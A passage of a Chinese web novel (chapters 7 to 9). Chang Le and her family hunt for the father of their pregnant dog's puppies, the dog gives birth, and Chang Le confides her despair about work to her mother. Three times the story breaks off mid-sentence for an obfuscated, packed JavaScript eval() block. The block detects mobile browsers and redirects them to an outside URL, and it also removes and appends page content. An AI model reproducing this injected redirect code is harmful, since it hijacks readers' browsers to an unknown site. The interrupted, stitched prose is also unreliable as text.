短发女急忙制止她:“痒是正常的,慢慢习惯就好了。还什么不舒服的感觉吗?” 常乐点点头,认真地说:“饿。” 易诚扑哧一下笑出了声。 “……”短发女反应很快,“哦,觉得饿也是很正常的,因为磁电会加速肠道蠕动,促进消化……” 叽里呱啦说了一堆,常乐一句没听进去,心里只有她的牛肉粉。 十五分钟的免费体验很快结束,常乐挽着姥姥出门,又看见短发女在门口迎来送往。 “张叔叔,早啊,快里面请!”“王奶奶,您又来了?今天怎么来迟了点?”“干妈,您可算来了!快进来坐坐!”…… 易诚搀着易叔叔出来时,她一个箭步冲上去,扶住易叔叔的另一只胳膊,语气格外热情:“干爸,您慢点走,下午记得再来啊!” 常乐不禁感叹:“这就是传说中的社牛吗?” 恐怖如斯啊。 姥姥又戴上了助听器,说:“要不人家怎么能当销冠呢。” 常乐八卦心起,小声问:“她一个月能赚多少?” “这我不清楚。我只知道,光是咱们小区,她就有七个干妈,五个干爸。” 常乐啧啧称奇。 果然,这钱也不是谁都能赚的。 -- 跟易诚在小区门口分别后,常乐和姥姥直奔菜市场外的早餐店,坐在门口的小折叠桌旁,一边喝热豆浆,一边等牛肉粉上桌。 姥姥突然叹了口气:“易志刚也真是可怜,才五十多岁就中风了,康复训练做了两三年,连句囫囵话都说不清楚,记性也差了好多……” 常乐低头啜着豆浆,过了会儿,才闷闷地说:“易叔叔人挺好的。” 她记得,易诚小时候老闯祸,每次都被易叔叔揪着耳朵去给人赔礼道歉。 易诚炸掉她羽绒服的第二天,易叔叔跑遍全城,给她买了件一模一样的。 她被轮滑撞飞那次,易叔叔付完医药费,还掏出一万块钱作为赔偿。林文娟坚决不肯收,她说父子俩相依为命不容易,易诚也不是故意的,不能全怪他…… 两家你来我往、推来搡去,最后还是姥爷做主,让易叔叔把钱拿回去,给孩子买点补品就行。 沉默良久,姥姥又叹气道:“易诚这孩子也可怜。你对人家好点,别老欺负他。” “……”常乐觉得莫名其妙,“我怎么了?我对他挺好的啊,一没打他二没骂他,怎么就欺负他了?” “你每次见到他,就跟旧社会的地主见了长工一样,说话那口气那态度,就像是他欠你的。” “他就是欠我的啊。”常乐拍了拍自己的屁股,“现在每逢刮风下雨天还隐隐作痛呢。” “哎呀呀呀,都多少年前的事了,还成天挂在嘴边。”姥姥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585069|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无语地翻白眼,“谁让你那时候天天戴着耳机的?滑轮声音那么大,一般人早就躲开了,你倒好,闭着眼睛走路,还左摇右晃。他从岔路拐过来,根本刹不住嘛。哎唷,不就是摔了一跤嘛,养几天就好了,至于记恨一辈子吗?” “那可不是几天啊。”常乐振振有词,“那几个月,我都坐不了凳子,只能撅着屁股上课。我的屁股翘得都能顶起一桶桶装水了!” 姥姥捂着脸哈哈大笑。 常乐后来发现,练就撅屁股神功也有个好处——每次在公众场合上厕所,其它女孩宁愿排长队等蹲坑也不愿坐马桶,她无所谓,大大方方地走进去,清清爽爽地走出来,拂一拂裙摆,不带走一滴污渍。 只可惜,这个技能适用范围有限,也没法到处炫耀。它带来的好处跟她当年受到的伤害相比,简直不值一提。 常乐继续控诉:“你知道我上一堂课有多累吗?撅累了我就蹲马步,蹲累了就站起来,站累了就趴桌上,几个姿势来回换,老师都看烦了,把我调到边角料的位置,眼不见为净。” 她越说越激动:“你知道这对我的学习影响有多大吗?我期中考年级排三百一十二名,期末就掉到了三百六十八名!” “小点声!”姥姥嫌丢人,用手挡着脸,“三百多名,有必要记那么久吗?” 热腾腾的牛肉粉端上了桌。 常乐放下苦大仇深,埋头沉浸式吃面。 姥姥夹起几片牛肉扔她碗里,慢悠悠地说:“而且,人家父子对你不好吗?零食水果没断过,周末还给你熬骨头汤,你那几个月胖了多少?” 常乐哼嗤一声。 还说呢。中考结束后,她跳了两个月的绳,才勉强回到原来的体重。 “为了接送你上学,易志刚还把他那辆摩托车拿去改装,安了个车斗,让你坐里面——” “蹲——里面。”常乐纠正她。 “管你坐着还是蹲着,反正,人家对你已经仁至义尽了。” 常乐撇着嘴,继续在碗里找牛肉。 提前那辆摩托车,她的心情有些复杂。 她上初中那会儿,家里还没买车,平时都是坐公交车上学。尾椎受伤后,不能久站或长坐,走路都得撅着屁股扶着腰,公交车又慢又颠,简直要把她颠得上下分离。 易叔叔便想了个法子:他给自己的摩托车右边焊了个挎斗,拆掉里面的座椅,铺上厚厚的垫子,让常乐蹲在里面,易诚坐在摩托车后座。 引擎轰响,三个人上路了。 一开始,常乐还觉得挺拉风。尤其是每当摩托车停在校门口时,总会引来无数好奇的目光,她感觉自己就像偶像剧里的大小姐,在众人的惊叹声中华丽丽地登场。 直到一周后,她正要从挎斗里下来,班里一个嘴贱的男同学路过,阴阳怪气地叫道:“哟,太君来了!” 周围同学哄然大笑,常乐的脸霎时滚烫。 虽然这个绰号没有在班里流传开来,但那个男生上了常乐的此生必杀榜,位列第二。 老天有眼,几天后,那男生下楼时,不知是赶时间还是想耍帅,一步飞跨五个台阶,然后在众目睽睽之下摔了个狗吃屎。 同桌赶紧冲进教室,给常乐报喜。常乐笑得幸灾乐祸,恨不能冲出校园买鞭炮庆祝。 虽然大仇得报,但常乐对这个绰号有了心理阴影。她拒绝再蹲挎斗。 易家父子犯了难,头脑风暴了一夜,提出几条替代性方案,比如租一辆三轮车,或者买个带轮子的担架,或者去超市借一辆购物车,或者让常乐站在滑板上,手牵着绳子,绳子另一头拴在易诚的自行车后座上…… 常乐觉得他俩更适合去农村收猪。 讨论到最后,终于有了个靠谱的计划:给易诚的自行车后轮毂中间焊两个踏板,让常乐踩在上面。 自行车改造工程耗时一晚。 第二天一早,常乐就踏上了自己的新坐骑。 她扶着少年单薄的肩,指尖不敢乱动,心却怦怦乱跳。 拂面而来的,是十五岁清晨的风。 7. 7 早八的菜市场热闹非凡,常乐和姥姥在东边买黑猪肉,西边买包面皮,北门买红菜薹,最后去南门精挑细选了一只土鸡。 拎着大袋小袋往回走,一路上又遇到不少遛狗的大爷大妈。 常乐两眼发光:嘿,来活儿了。 查案的第一步——摸排走访。 问题无非就这么几个:叫什么?多大了?什么品种?公的母的?绝育了吗? 大爷大妈都挺健谈,没聊几句,就把自家狗子那点事抖落得一干二净,什么出生年月、兴趣爱好、婚育状况、历史战绩之类的…… 情报收集工作进展顺利。 傍晚时分,当一家人再次齐聚在102室的沙发上时,常乐从姥爷的书房里拖出一张大白板,摆放在大家面前。 她拿起马克笔,在白板上写上一行大字:“林常胜意外怀孕案”信息共享会,然后在标题下方,贴上胜宝的正面照。 照片中,小边牧吐着舌头,笑容甜美,惹人怜爱。 常乐掏出小本本,装模作样地清了清嗓,向大家汇报今天的成果: “众所周知,咱们教师小区人多狗杂,我今天只在二中区转了转,就遇到了二十只狗。其中,母狗十二只,公狗八只。这八只中,有五只没有做绝育。其中有两只年纪太大,估计已经丧失了生育能力,剩下的三只,分别是——” 她转过身,往白板上贴上三只嫌犯的照片,依次介绍道:“王大妈家的吉娃娃帅帅,吴阿姨家的法斗球球,以及刘大爷家的杂毛狗建建。” 大家浏览着照片,都陷入了沉默。 三只嫌疑狗都长得挺磕碜的。 再看看自家的胜宝,长得多标致、多水灵、多有少女感啊。只可惜,一时没看住,水灵灵的白菜就被野猪拱了,想报仇还找不到猪,真是恼火。 林文娟率先开口:“我觉得,首先得排除前面两个吧,这体型,根本够不着嘛。” “噫,这个不好说。”姥姥分析道,“胜宝怀孕的时候还不到一岁,体型也不大,要是那两只狗踮着脚……” 姥姥没好意思说下去,后面的画面,由他们自行脑补。 常乐点点头:“也不是不可能。” 有些小狗,身材小小的,牛子吊吊的,什么体型差都敢硬上,也不怕折了自己的命根子。 常建民一拍大腿,语气笃定道:“我选第三只。虽然乍一看它长得比较潦草,但仔细一品,还是很有男狗味的,无知少女狗最容易被这种糙狗诱骗了。” 常乐:……凶手是靠选出来的吗? 你这破案的逻辑,比它的长相还潦草。 林文娟皱着眉,不忍直视,“这要是孩子爹,那完蛋了呀,狗崽子们肯定长得乱七八糟的。” 大家又是一阵唉声叹气。 姥爷举手质疑:“你这调查范围是不是太窄了?电大和实小那边也有不少人养狗。我们平时遛狗,都是几个区来回逛的。” “这才第一天嘛,慢慢来,这两个区我都会去查的。”常乐顿了顿,又补充道,”当然,也不排除社会狗流窜作案的可能。” 毕竟这种老小区管理松散,门禁形同虚设,外人或外狗可以来去自如——这也给她办案增添了难度。 常乐又在白板上画了个长方形,标明东西南北四个大门,又画两条线将长方形分成三部分。 “说到这个,姥爷,我正好想问你,你平时遛狗,都喜欢去哪些地方?在哪儿停留的时间最长呢?” 姥爷回忆道:“东门的广场、凉亭、长廊,北边有个健身器材区,还有……哦,西边的篮球场。” 常乐画标记的手停了下来。 “篮球场?你还喜欢看球啊?” “看什么球啊?那里晚上灯光最亮,有些人会自带桌椅,在球场边下棋,我有时候路过,就会去看看。” 常乐脑子里灵光一闪。 这就对了。凶手作案需要时间,它肯定是趁着姥爷观棋时,对毫无防备的胜宝下的手。 -- 信息分享会至此结束,一家人准备吃饭。 一碗碗鸡汤包面从厨房端到餐桌上,热气袅袅,鲜香扑鼻。 常乐用筷子扒拉扒拉,从碗里翻出鸡腿,拿在手上啃完,再翻出煎得两面金黄的荷包蛋,吃到半饱,最后才对包面下手。 也不知是从哪儿继承来的传统,她家逢年过节总要吃包面。 包面跟饺子是近亲,都是用面皮裹着肉馅,捏成元宝的形状。等水开下锅,煮个十几分钟,一个个白胖子在汤水里翻腾,就可以捞出了。 常乐对包面的感情很复杂。 就像是烦人的亲戚,每逢过年,都得应付一下。不想见,但不得不见。 若是好长时间不见,又怪想念的。 常乐从碗里挑出两个包面,分配给常建民,又给林文娟夹了两个,正打算把剩下几个一口气干完时,姥姥又从厨房里端着锅出来,往她碗里加了两个。 常乐:“不是,姥儿你……” 姥姥:“我看你碗里都没了,还以为给你盛少了呢。” 姥姥一转身,常乐就以迅雷不及掩耳之势,把那两个包面转移到了姥爷碗里。 -- 晚饭吃完,已经七点多了,常乐出门直奔小区的篮球场。 远远地就听见那首熟悉的广场舞神曲,“动次打次”极富节奏感,响亮的歌声恨不得全世界都听到。 绕过一栋居民楼后,神曲终于停了,世界短暂地安静下来。 这时,常乐隐约听到一串“哗啦”声,像是轱辘滚地。 她的ptsd犯了,尾椎又开始隐隐作痛。 绕过一片灌木林,霎时间,眼前光线大亮。 常乐眯起眼环视一圈——广场舞大军占领了篮球场的大半边,他们刚跳完一曲,正在原地休整。 剩下的小半边,则留给了几个玩轮滑的小孩。他们后背微弓,双腿弯曲,在两排彩色轮滑桩之间,摇摇晃晃地前进。 一道黑色人影穿梭在小孩周围。 他脚步轻盈,动作流畅,颀长的身形在球场上划出一个又一个丝滑的S弯。 常乐不用看都知道那是谁。 她听姥姥提起过,几年前,易叔叔病倒后,易诚就辞职回了家。在照顾易叔叔之余,他开了个轮滑培训班,因为技术好,人又耐心,来报名的学生一直没断过。 常乐收回视线。 她绕着球场转了一圈,果然在篮球架附近发现了一堆聚众观棋的老头,一个个低着头背着手,神情专注,广场舞的大音响就在耳边轰炸,都破坏不了他们的兴致。 其中有两个老头牵着狗,两条狗互相嗅着屁股。不远处的篮球架下也栓了一条花花绿绿的狗,不知道是谁的。 常乐调整好微笑的弧度,走上前开始询问。 一个戴毛线帽的老头介绍道,自家的狗名为苏培盛,已经入宫多年。另一个老头则表示,他家的狗虽然是公的,但只对同性感兴趣,他觉得没有绝育的必要。 常乐挑挑眉,对此深表怀疑。 她偷偷给这只给子狗拍了张照,暂定为嫌犯四号。 “那是谁的狗?”常乐指篮球架问。 “哦,那边那个小伙的。”毛线帽老头转过身,指着篮球场的另一边,“喏,那个黑衣服,窜来窜去的,看到了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585070|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常乐走到篮球架下,蹲下身,打量着这条狗。 是条柯基,看模样应该还是未成年,大大的耳朵,圆溜溜的眼睛,穿着一件东北大花袄棉背心,看上去乖巧又喜庆。 常乐将手伸到小狗鼻子底下,给它嗅了嗅,待它放下戒心后,才摸摸它的脑袋,又挠挠它的下巴。 小狗舒服地眯起眼,摇晃着圆滚滚的屁股,对这位新朋友的按摩手法表示满意。 一串“哗啦”声由远及近。 常乐抬起头,看见易诚绕过篮球场,一阵风似地滑了过来,在她前面转了个圈,稳稳停住。 他穿着一件黑色连帽卫衣,配深色牛仔裤。也许是脚踩着轮滑鞋的缘故,他的身形看上去更挺拔了。 整个人的气质,也跟早上那个蓬头垢面的睡衣男有着云泥之别。 “你的狗啊?”常乐主动开口。 “嗯,他叫图图。”易诚微微喘着气,从架子上解开狗绳。 常乐又问:“多大了?” “刚满一岁。” “公的母的?做绝育了吗?” “做过了。”易诚双手掐在小狗的腋下,将它举到常乐面前,“常Sir要检查一下吗?” 他弯着腰,脸离得很近,额发被汗浸湿了,脸上还透着刚运动完的潮.红。 常乐别开视线,轻嗤一声,“我检查什么呀?” 她又不是宫里负责净身的变态老太监。 嘴上虽这么说,但视线还是不自觉往下,落在小狗的敏感部位上—— 一根小辣椒孤零零地翘着,两枚小球球像是干瘪的气球。仔细看,球上还有道细细的疤。 “……行吧。”常乐站起身。 为了缓解尴尬,她揉了揉后腰,冲易诚点点头,表扬道:“不错,挺有责任心,知道给狗绝育。” 易诚把狗抱在怀里,视线低垂,落在她的腰上。 “唔,你那个……”他支吾着问,“你那里……还疼吗?” 常乐眉头一紧。这什么鬼问题? 像是那种不可描述的文里才会出现的对话。 “我的屁股好得很,谢谢您还惦记着。”常乐没好气地说完,一摆手,转身大步走了。 时间还早,常乐不急着回去。她把小区里几个狗友聚集地都转了个遍,嫌犯名单上又增加几只可疑对象。 回到家,常乐洗了个澡,穿着厚厚的睡衣趴在床上,铺开这些狗的照片,逐个研究。 也许是有“长姐滤镜”,她挑来拣去,总觉得这些狗都配不上她家胜宝。 不是嫌这只腿太短,就是嫌那只眼睛小,实在挑不出毛病,就开始嫌弃它的主人。 哼,都多大的狗了,还不做绝育,当主人的一点责任心都没有! 转念一想,她不也在这件事上疏忽了吗? 唉,只能坐等开盲盒,再对比照片、揪出真凶了。 -- 胜宝晚上吃得很少,满满一碗狗粮基本没动过,就喝了几口羊奶。 她侧躺在狗窝里,圆鼓鼓的肚子一起一伏,呼吸愈发粗重。 过了会儿,她又爬起来,不停地用前爪刨着狗窝,像是在找什么。 常乐一开始没太在意,她正用手机查询边牧和其他狗生的孩子长什么样,直到胜宝前爪趴在床边,后腿蹬地,吃力地跳到床上,她才察觉到异样。 胜宝很懂事,从不上主人床。现在不仅上来了,还拖着沉甸甸的肚子在床上转来转去,在被子上、枕头上不停地刨坑,似乎在寻找一个温暖柔软的地方。 常乐终于反应过来。她赶紧给林文娟打电话: “妈!胜宝她……她要生在我床上了!” 8. 8 五分钟后,林文娟急匆匆地赶来了。她左手提着取暖器,右手拿着医药箱,腋下还夹着一床旧毯子。 一进门,就听见床上传来“哗啦”一声。 她急忙问:“生啦?” 常乐沉默几秒,生无可恋地说:“拉了……” 胜宝在她的床头拉了泡大的。 幸好她有先见之明,见胜宝的屁股和后背一阵阵地收缩用力,赶紧在她身下铺了几张尿垫。 床垫算是保住了,床单不管有没有弄脏,明天必须得洗了。 “噫额……”林文娟看到尿垫,一脸嫌弃。 “这些东西……怎么办啊?”常乐实在没处理过这么棘手的情况。 “我来吧。” 林文娟放下带来的东西,挽起袖子,从胜宝身下缓缓抽出尿垫,双手合拢,将那摊“南瓜糊”裹起来,束口,系紧,扔进垃圾桶,一气呵成。 常乐长舒了一口气。 刚刚她都不敢呼吸。 林文娟将毯子叠得厚厚的,垫在胜宝身下,然后重新铺上尿垫。 胜宝的呼吸时而急促时而平缓,有时眯着眼一动不动,仿佛是睡着了,有时又焦躁不安地爬起来,在床上转来转去,发出低低的呜嚎。 一个小时过去了,她还没生。 常乐坐在小板凳上,趴在床尾,眯眼看着手机。 取暖器洒下一片橘黄的光,屋子里暖意融融,她打了个哈欠,强撑着不让眼皮合上。 “怎么还没生啊?”她嘟囔道,“我刚刚刷到个视频,里面的动物生孩子都可快了,呲溜一下就蹿出来了。胜宝生孩子怎么就这么难啊?” 林文娟趴在床尾另一边,说:“生孩子本来就很难啊。我生你的时候,痛了一天一夜呢。” 常乐侧着头趴在臂弯里,眼底浮起水雾。 值得吗? 冒着生命危险,痛了一天一夜,生下一个她这样平庸的小孩。 长相普通,能力平平,性格不好不坏,在人群中没什么存在感。过去没什么光辉的成绩,未来也看不到什么成功的希望。 真的值得吗? 她回忆起小区里一起长大的朋友,有人考上名校,升学宴摆得风风光光;有人毕业后进了大厂,年薪五十万起步;还有人考公上岸,买车买房结婚生子一条龙…… 只有她,什么都没有,什么都不是。 常乐佯装打了个哈欠,强压住眼底的湿热,故作随意地问:“妈,我是不是我们那帮孩子里,最没出息的一个?” 林文娟蓦地抬起头,双目圆瞪,音调也高了八度:“说什么呢?你哪里没出息啦?谁这么说你了?是不是吴翠那个碎嘴皮子?” “没没没,”常乐急忙帮翠姨撇清嫌疑,“她什么都没说,我就是……随口问问。” 她打着哈哈,故作轻松地说:“我就是觉得吧,你辛辛苦苦生了我,养了那么多年,结果我现在毕业都三年了,连个正经工作都没有……”她低头笑了下,“说出去挺丢人的。” 林文娟满不在乎:“这有什么丢人的?不就是没工作嘛,再找一个就是了,怎么还自卑起来了呢?” 常乐叹了口气,“不好找啊。我一个同事,工作能力比我强多了,现在天天投简历,面试了七八家,没一个有结果。她都不行,我肯定更没希望了。” 她把手机递给林文娟,“你看,这是她发的视频,讲了她今天面试的经历。我就是刚刚看到这条视频,才有感而发。” 视频是珍姐发在抖音上的。 视频开头,她在家准备面试的着装,用心化着妆。 接着出门,骑电瓶车到地铁站,出了站还得转公交,折腾了一个多小时才到达面试公司。 然后画面黑了,只剩对话声—— 珍姐刚做完自我介绍,一道男声就冷冰冰地说:“对不起,你的条件不符合我们公司的要求。” 珍姐愣了下,礼貌地问:“请问是哪一条不符合呢?” 男声略带嘲讽:“我们只招三十岁以下的年轻女性。” 珍姐怒了:“我简历第一行就写明了年龄,你‘哔——’看不到吗?嫌我年纪大直接筛掉就行了,你‘哔——’干嘛喊我来面试?把人当猴耍,‘哔——’好玩吗?” 常乐听到这里,觉得珍姐还是太收敛了。要是照她平时讲话的风格,整句话能消音到只剩个开头和结尾。 对话结束,视频里又出现珍姐的脸。 她似乎是刚哭过,眼眶红红的,眼妆也花了,一边走路一边对着手机说:“第七次面试又没戏了,明天继续努力吧。加油!” 林文娟默默看完视频,脸色有些凝重。 她把手机还给常乐,安慰道:“每个人的情况都不一样,你不一定会碰到这种事。” 常乐默然无语。 她没有告诉林文娟,在去顺势文化公司上班之前,她有两个月的空窗期,期间,她投了无数份简历,也去了很多家公司面试。 这些公司都在CBD的写字楼里,招聘简章上写的工作是文案、策划、运营之类,可是去面试了才知道,他们招的全是电话销售。 为了不让社保断缴,她病急乱投医,进了一家看上去还算正规的公司,做起了电销。 每天要打三百多个电话,被拒、被骂、被调戏都是常态。 她一边要承受着主管的PUA,一边要面对电话那头未知的恐惧,还要强压住心底对这份工作的厌恶,以及对自我深深的怀疑…… 那段时间,她脱发、爆痘、神经衰弱,连月经都不来了。 精神濒临崩溃,她终于下定决心辞职。 之后马不停蹄地找工作,一次次被否定、被拒绝、被嫌弃,终于,她入职了这家公司,做的也是正儿八经的策划类工作。 当时她还庆幸,自己终于找到了靠谱的公司,不成想,是从一个坑跳到了另一个坑。 这些事,常乐不想告诉父母。 他们会用各种社交平台,关注社会时事,他们明明知道,现在大学生多到泛滥,毕业即失业成了常态,到处都在裁员降薪,失业的空窗期越来越长…… 可他们仍相信,自己的女儿会是那个例外。 哪来的自信呢? 林文娟把板凳挪到常乐身边,伸手摸了摸她的脑袋,温声安慰道:“工作可以慢慢找嘛,家里又不缺你这份工资,别给自己那么大压力。” 常乐转过脸,闷闷地说:“我不想找了。” 林文娟被她逗笑了:“说什么傻话?你不上班,拿什么养活自己?尤其是女人,必须要有自己的事业,才能真正独立自主。” 常乐烦躁地说:“妈,我根本不想——” 话未说完,就被胜宝痛苦的哀嚎声打断了。 母女俩不约而同地起身,围到胜宝身边。 只见她臀部绷紧,四肢绷直,整条狗仿佛定住一般,一动不动,连叫声都停了。 “妈,不会出事吧?”常乐紧张得冒汗,“要不要直接送医院?” 林文娟思忖片刻,正要开口,就听见“哗啦”一声,一个柔软的小身体便滑了出来。 “呀!生了!”两人都兴奋不已。 常乐如释重负地长舒一口气,林文娟则戴上医用手套,拿起剪刀,将小狗的脐带剪断。 小狗身上包裹着一层滑腻腻的薄膜,林文娟小心地剪开一道小口,轻轻撕开,将小狗擦拭干净,放在胜宝的脑袋边。 小狗闭着眼,蜷缩成一团,才巴掌大小。它嘤嘤地叫唤着,唤醒了胜宝的母爱。她努力抬起头,舔舐着自己的宝宝。 常乐怔怔地看着他们,心里除了感动,还有些许震撼。 这是她第一次亲眼见证一个生命的诞生,真神奇。 “你看,它也是黑白配色。”林文娟指着小狗,惊喜地说,“难道孩子爹也是边牧?” 常乐回忆片刻,否定道:“不太可能,我们小区几个养边牧的人我都问过了,都给狗做过绝育了。” 她观察着小狗,分析道:“它的毛发虽然跟边牧一样,但是脑袋和身体都胖嘟嘟的,感觉跟胜宝小时候不太像。” “这么小,还看不出什么,等长大点再说吧。” 林文娟又回到床尾的小板凳上,单手托腮,望着胜宝母子。 胜宝怀的是四胞胎,后面还有三个。 林文娟说:“医生说,一般生第一胎要慢一些,后面几个就快了。” 胜宝又平静下来,闭着眼,仿佛睡着了。 小狗在她怀里拱来拱去,终于找准位置,开始享用生命中的第一顿大餐。 长夜漫漫,母女俩又开启了唠嗑。 林文娟问:“你刚刚要说什么?” “没什么。”常乐转过头,背对着她,“我都忘了。” 林文娟追问:“你说你根本不想……不想什么?不想找工作?” 常乐沉默片刻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585071|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干巴巴地说:“算了,你肯定觉得我有病。” 林文娟:“你说吧,我尽量去理解。” 常乐低着头,盯着自己的棉拖鞋,喃喃地说:“我觉得,上班、工作、事业,是三件事。驴子拉磨那是上班,你当医生那是工作,但是事业这个词要宏大得多。现在有几个人天天把事业挂在嘴边的?大家都是找个班上、能养活自己就行了。” 林文娟若有所思,“你这想法,倒是挺特别的。” 过了会儿,她又问:“但是,上班不就是工作吗?” 常乐终于转过头看她:“不一样,工作会给人成就感,但上班会让人想死。” 林文娟一时不知该如何接话。 “不至于吧,照你这么说,那些上班的人都想死?那你呢?你是怎么想的?” 常乐硬邦邦地说:“我不想上班。” 林文娟笑了:“你在说什么傻话?” “上班真的好没意思。一想到未来还要上几十年的班,我就觉得人生一片灰暗,毫无乐趣。” 常乐说着说着,情绪越来越激动。 “我就像一头核动力驴,每天往返于驴棚和磨坊之间,重复着毫无意义的劳动,就是为了月底那点口粮。给老板赚了更多钱,自己却累出了一身的病,干不动了就被人一脚踢开。这样的生活有什么意思?” 林文娟听得哑口无言。 最后一句,常乐说得无比认真:“如果可以,我真的想一辈子不上班。” 林文娟觉得匪夷所思:“这可能吗?每个人都是要上班的啊,不然你怎么在社会上立足?” 常乐深深吸气,又重重呼出。 “……真没意思。” 她撇开脸,掏出手机,拒绝的姿态很明显—— 她不想再讨论这个话题了。 半个小时后,伴随着又一波阵痛和哀嚎,第二只小狗出生了。 这次,胜宝有了经验。她咬断了脐带,舔掉小狗身上的薄膜,用湿润的鼻尖轻轻拱了拱它。 常乐忍不住感叹:“真厉害啊,这么快就学会了。” 紧接着,第三只、第四只…… 当四只小奶狗整整齐齐地窝在胜宝的怀里安睡时,她已经精疲力竭了,软趴趴地躺在毯子上,喝了半碗羊奶后,便沉沉睡去。 收拾完凌乱的床铺,已经是凌晨两点了。 常乐抱起自己的被子和枕头,铺在床尾,准备就在这里凑合一晚。 “妈,你回去睡吧。” “我跟你挤一挤吧。”林文娟帮她整理好被子,“万一有突发情况,我也好照应着。” 于是,一米五的床,被横分成两半,床头盘踞着一妈四娃,床尾挤着母女二人。 床不够宽,两人侧躺在床上,脚都腾空了,幸好有被子包裹着,才不至于露在外面。 墙角的取暖器还开着,给房间洒下一片暖黄。 林文娟从背后抱住常乐,轻声说:“胜宝啊,你刚刚说的话,我虽然不太理解,但我觉得,你不是那种自暴自弃的人。” 常乐没接话。 她猜到林文娟留下来睡,肯定是还有话没说完。 “你只是在工作上受了打击,一时有些消沉,想逃避职场。这些我都理解。” 常乐用被子蒙住头,不想说话,也不想听。 林文娟继续说:“我也知道,现在大环境不好,但是机会还是有的。你可以多去尝试,换个行业,或者换个城市,也许一切都柳暗花明了呢?” “不要说自己没出息,你要相信自己。”林文娟拍了拍常乐的胳膊,给她打气,“我相信你肯定可以的。” 常乐突然开口:“不要再说这种话了,我不想听。” 林文娟愣住了:“为什么?我相信你不好吗?” “因为,”常乐抬高音调,字字用力,像是憋着一股怒气,“这种假大空的道理,纸上谈兵的指导,毫无营养的鸡汤,对我没有任何帮助。我不想再听了。” 林文娟无比惊愕。 一向温和乖巧的女儿,今晚说话句句带刺,将她狠狠扎了一下。 常乐紧闭着眼睛,呼吸沉重,一言不发。 林文娟摇了摇她的肩,“你怎么了?” “我只是……”常乐用被子擦掉脸上的泪,轻轻吸了吸鼻子,“我困了……睡吧。” 心里有个声音在说: 妈妈, 我只是不想拉磨了。 9. 9 天光微亮,常乐就被立体环绕的“嘤嘤”声给吵醒了。 她睁开惺忪的睡眼,看到小奶狗们散落在尿垫各处,仰头叫唤着,而胜宝累了一夜,也没有力气把它们一只只叼到自己怀里。 常乐从被窝里伸出一只胳膊,正要抓住离得最近的一只小奶狗时,卧室门开了,林文娟穿戴整齐地走了进来,手上还端着狗盆。 “妈,起这么早啊?”常乐刚睡醒,一时忘了昨晚的事。 “嗯,上午有课。”林文娟将狗盆放在胜宝面前,转头叮嘱常乐,“白天你就在家照顾胜宝,记得给她喂点消炎药,伤口处涂点碘伏。” 常乐“嗯”了一声,裹着被子坐了起来。 脑子清醒了几分,昨晚的记忆也慢慢浮现,她开始后悔,自己为什么要在睡前说那些伤人的话。 妈妈明明是一片好心,想关心她、鼓励她,让她重新振作。 可她却不识好歹。对最亲的人,说最狠的话。 “妈,昨天我说的那些话,你别放在心上……”常乐面色微窘,脸颊发烫,低着头不敢看林文娟,“我也不知道怎么了,可能是深夜emo,一时没收住情绪,才……” 也许,深夜情绪低落只是催化剂,而妈妈的关怀和鼓励才是导火索,将她内心深处堆积许久的焦虑不安一瞬点燃。 林文娟脸上没什么起伏,淡淡地说:“有什么话,等我回来再说吧。我去上学了。” 门关上了,常乐心里空落落的。 一股无法言说的内疚感笼罩着她,与此同时,小奶狗的“嘤嘤”声还在不知疲倦地折磨着她的耳膜。 常乐忍无可忍,钻出被窝,将小奶狗一只只抓回胜宝的怀里,堆放得整整齐齐。 小奶狗找到了优质奶源,迫不及待地吮了起来。 房间里终于安静下来。 -- 今天是常乐担任月嫂的第一天。 照顾产妇还算轻松,胜宝聪明又懂事,常乐给她准备月子餐、喂药、伤口涂药、清理尿垫,她都会乖乖配合。 她还不时用脑袋蹭蹭常乐的手,用舌头舔舔她的手背,似乎在表示感谢。 几只小崽子们也算省心。一整天吃了睡睡了吃,饿了就仰起脑袋嘤嘤叫,演奏立体混响四重奏;吃饱了就拱来拱去,哼哼唧唧,准备进入下一轮深度睡眠。 一天下来,常乐对这种声音已经免疫。 傍晚时分,客厅里传来低低的说话声,常乐推门一看,林文娟和姥爷正在沙发上嘀嘀咕咕,不知在聊什么。 见她出来,两人立马止住话头。 “妈,回了?”常乐给自己倒了杯水,漫不经心地问,“你们聊什么呢?” 姥爷呵呵一笑,“没什么,对了,那什么……我有几个快递到了,你去给我取一下,报我手机尾号就行。” 常乐不急不慢地喝着水,说:“吃完饭再去呗。” 姥爷冲她摆摆手,“晚饭还早着呢,你现在没啥事就去拿一下呗,那东西搁久了容易坏。” 常乐好奇地问:“海鲜呐?还是农产品?你现在改做美食测评博主了?” “你别管那么多,快去帮我拿了,一来一回也就十分钟的事。” 